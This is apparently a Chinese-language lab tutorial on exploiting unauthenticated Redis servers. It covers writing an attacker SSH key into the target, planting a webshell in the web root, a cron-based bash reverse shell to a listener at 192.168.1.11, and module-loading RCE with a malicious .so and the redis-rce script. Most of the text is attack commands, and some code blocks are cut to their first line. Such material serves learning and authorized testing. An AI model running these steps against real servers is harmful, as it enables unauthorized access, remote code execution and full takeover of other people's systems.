一、Redis搭建
介绍
简单来说 redis 就是一个数据库,不过与传统数据库不同的是 redis 的数据是存在内存中的,所以读写速度非常快,因此 redis 被广泛应用于缓存方向。另外,redis 也经常用来做分布式锁。redis 提供了多种数据类型来支持不同的业务场景。除此之外,redis 支持事务 、持久化、LUA脚本、LRU驱动事件、多种集群方案。
环境安装
靶机地址:192.168.43.104
攻击者地址:192.168.43.217
为了方便这里的攻击环境和靶机环境使用的都是kali,使用以下命令进行安装:
1 | wget http://download.redis.io/releases/redis-4.0.11.tar.gz |
redis基本操作:
1 | 开启服务:./redis-server |
二、未授权访问
Redis在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
这边使用kali进行连接:
1 | ./redis-cli -h 192.168.43.104 -p 6379 |
三、写入公钥
手动写入
使用攻击者生成公钥:
1 | ssh-keygen -t rsa |
会让你输入名称以及密码,这里默认为空即可
将公钥写入1.txt:
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt |
写入公钥到redis:
1 | cat 1.txt | ./redis-cli -h 192.168.43.104 -x set crack //windows下为type |
写入后,按着以下步骤进行操作:
1 | ./redis-cli -h 192.168.43.104 -p 6379 //使用客户端登录靶机 |
查看是否成功:
1 | CONFIG GET dbfilename |
然后保存退出:
1 | save |
在攻击机上使用SSH免密登录靶机:
1 | ssh -i id_rsa root@192.168.43.104 |
工具写入
暂时不写
四、写webshell
这边模仿真实环境的环境,就直接开一个web服务:
1 | python -m SimpleHTTPServer |
写shell需要的条件
1 | 写shell的条件之一是需要知道web目录 |
第一步先连接,然后写入文件到web目录:/var/www/html,设置redis本地数据库存在位置:
1 | config set dir /var/www/html |
第二步,设置写入webshell的文件名,这边我写个html就行
第三步,写入webshell内容:
1 | set webshell "tset" //名为webshell的键 |
五、计划任务反弹shell
使用攻击机监听端口:
1 | nc -lvp 8889 |
写入任务计划:
1 | set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.11/8889 0>&1\n\n" |
shell反弹成功
如果要删除键值只需要以下两步:
1 | keys * //查看全部键值 |
六、主从复制
介绍
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现
第一步先从github下载 恶意.so文件,然后进行编译:
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
第二步下载redis-rce脚本:
1 | git clone https://github.com/Ridter/redis-rce.git |
使用以下命令进行攻击:
1 | python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so |